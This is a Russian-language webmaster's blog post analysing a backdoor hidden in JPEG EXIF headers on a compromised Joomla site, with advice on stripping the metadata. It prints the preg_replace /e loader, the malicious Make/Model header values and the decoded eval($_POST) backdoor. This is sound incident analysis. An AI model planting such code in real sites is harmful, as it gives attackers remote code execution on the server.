Получил от клиента жалобу, что антивирус ругается на… картинки! Сначала я проверил все файлы .htaccess, ничего подозрительного. Затем сами файлы картинок (jpg) командой file – нормальные файлы изображений в формате JPEG. Затем открыл файл (по ссылке) в браузере – обычная картинка (мой антивирус не проверяет изображения на предмет вирусов, а зачем?). Бред какой-то… Тогда я открыл файл в текстовом редакторе – ух ты! А вот и вредительский код:
eval(base64_decode('aWYg...kpO30='));
Что этот код делает в графическом файле? Как он туда попал?
Технические детали
Сайт раньше регулярно взламывали (старый движок Joomla – это зло), после очередного взлома я просто заблокировал все .htaccess- и php-файлы для записи или изменений, обновил плагин mce и взломы прекратились. Последний взлом был года два назад. Примерно в то же время специалист компании Sucuri обнаружил новый вид бэкдоров, скрытый в изображениях.
Закладка состоит из двух частей: первая часть (первый файл) содержит код с безобидной функцией exif_read_data и коварной функцией preg_replace (о ней я упоминал в методах скрытия кода номер 3 и номер 8).
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg'); preg_replace($exif['Make'],$exif['Model'],'');
Данный код сам по себе достаточно безобиден, но в игру вступает его вторая часть (я покажу готовые заголовки):
IFD0.Make: /.*/e IFD0.Model: eval(base64_decode('aWYg...kpO30='));
В файле, если открыть его в текстовом редакторе, это добро выглядит как читабельный текст, разделенный символами ^@
Текст в base64 – это старый добрый бэкдор:
if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
Лечение (чистка) файлов
Как же вылечить файлы? Есть несколько вариантов.
- PEL(PHP Exif Library). Библиотека для чтения и записи заголовков Exif в JPEG и TIFF изображениях с использованием PHP.
- The PHP JPEG Metadata Toolkit. Позволяет читать, писать и отображать следующие форматы метаданных JPEG: EXIF 2.2, XMP / RDF, IPTC-NAA IIM 4.1 и т.д.
- ExifTool by perl. ExifTool умеет все, она поддерживает EXIF, IPTC и XMP (чтение/запись).
Это если у вас есть время и вдохновение. Если его нет, самый простой путь – грохнуть все заголовки (метаданные). В этом вам поможет пакет imagemagick и волшебная команда:
mogrify -strip image.jpg
Кстати, этой же командой можно и записывать заголовки:
mogrify -profile 8BIMTEXT:text.txt image.jpg
Предварительно заготовив текстовый файл text.txt, где указать что-то вроде:
2#05#Object Name="Foo" 2#55#Date Created="Bar" 2#80#By-line="Baz" 2#110#Credit="Quux" 2#115#Source="Foo" 2#116#Copyright Notice="FooBar" 2#118#Contact="FooBaz" 2#120#Caption="FooQuux"
Подробнее можно посмотреть здесь.
а